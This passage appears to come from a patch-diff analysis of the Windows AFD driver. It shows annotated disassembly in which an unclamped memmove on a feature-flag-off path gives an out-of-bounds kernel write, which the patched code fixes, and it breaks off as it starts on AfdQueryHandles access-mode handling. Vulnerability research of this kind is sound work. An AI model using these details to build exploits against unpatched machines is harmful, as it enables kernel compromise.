&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642DE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00642F9&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; flag off -&amp;gt; skip clamp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; MDL&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;di&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; MDL-&amp;gt;ByteCount&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642EA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; ByteCount - offset&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642EF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00642F9&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; clamp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;di&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;di&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; Size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642FD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ah&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; Src&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064301&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; Dst&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064304&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; unbounded size on flag-off path&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064309&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rbp-2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;di&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1C00642DE&lt;/code&gt; — the &lt;code&gt;jz&lt;/code&gt; that skips the clamp entirely when &lt;code&gt;EvaluateCurrentState&lt;/code&gt; returns 0.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0064304&lt;/code&gt; — the copy that runs with &lt;code&gt;size = AddressLength + 2&lt;/code&gt;, unconstrained on the flag-off path (out-of-bounds write to &lt;code&gt;rbp&lt;/code&gt;, out-of-bounds read from &lt;code&gt;rbp + 0xa&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.2 &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; — Patched, clamp in both branches (&lt;code&gt;0x1C00641D0&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642C9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_499346745_59190809_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; IoStatus.Information&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; AddressLength&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642DB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;; size = AddressLength + 2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642E6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0064308&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; new flag off -&amp;gt; legacy MDL clamp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; IoStatus.Information&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642EC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ah&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642F0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00642FC&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; if &amp;lt; 0xa, max = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642F2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFF6h&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; -0xa&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;; ax = Information - 0xa&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00642FE&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064301&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0064321&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; if max &amp;gt;= size keep size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064303&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; clamp size = Information - 0xa&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064306&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0064321&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064308&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; MDL (legacy path)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006430C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006430F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064312&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064315&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064317&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0064321&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064319&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006431D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064321&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bx&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; Size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064325&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ah&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; Src&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064329&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; Dst&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006432C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; clamped in every path&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0064331&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rbp-2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Every path to the &lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1C006432C&lt;/code&gt; passes through one of the two clamps.&lt;/p&gt;
&lt;h3&gt;4.3 &lt;code&gt;AfdQueryHandles&lt;/code&gt; — Unpatched AccessMode selection (first &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;r15d&lt;/code&gt; is zeroed in the prologue (&lt;code&gt;0x1C0031B96  xor r15d, r15d&lt;/code&gt;) and &lt;code&gt;sil = movzx(arg3)&lt;/code&gt; is the caller's processor mode.&lt;/p&gt;
